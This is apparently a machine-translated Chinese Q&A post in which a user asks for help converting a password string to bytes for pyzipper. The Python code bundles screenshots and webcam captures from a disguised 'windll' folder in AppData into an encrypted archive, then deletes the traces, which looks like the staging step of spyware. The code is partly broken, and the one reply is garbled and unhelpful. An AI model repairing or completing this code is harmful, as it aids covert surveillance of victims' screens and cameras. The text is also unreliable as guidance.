这段代码写入一个字符串类型的密码随机数字和符号.然后创建一个zip文件,并在那里写入另一个zip文件,然后它需要设置密码的zip文件,但它想要一个bin类型,而不是一个字符串来设置密码.所以我尝试了很多事情,但每次得到的错误.你能帮助我,请与这个问题?
我的代码
import shutil
import os
import random
import pyzipper
def makemeZip(password):
try:
user = os.environ['USERPROFILE'].replace("C\\Users\\")
except:
dox = "qwertyuiopasdfghjklzxcvbnm1234567890"
for i in range (30):
password += dox[random.randint(0,len(dox)-1)]
path = os.environ['USERPROFILE'] + os.sep + r'AppData\Local'
shutil.make_archive(fr'{path}\cashe', 'zip', fr'{path}\windll')
shutil.move(fr'{path}\cashe.zip',"cashe.zip")
with pyzipper.AESZipFile('The murk results.zip','w',compression=pyzipper.ZIP_STORED,encryption=pyzipper.WZ_AES) as logs:
print(password)
logs.setpassword(password)# transform password to binary
logs.write("cashe.zip")
os.remove("cashe.zip")
shutil.rmtree(rf'{path}\windll', ignore_errors=True)
try:
os.remove(rf'{path}\windll\sreenshot.jpg')
os.remove(rf'{path}\windll\webcam.png')
except:
pass
return password
1条答案
按热度按时间kognpnkq1#
只有此功能工作不正常且没有错误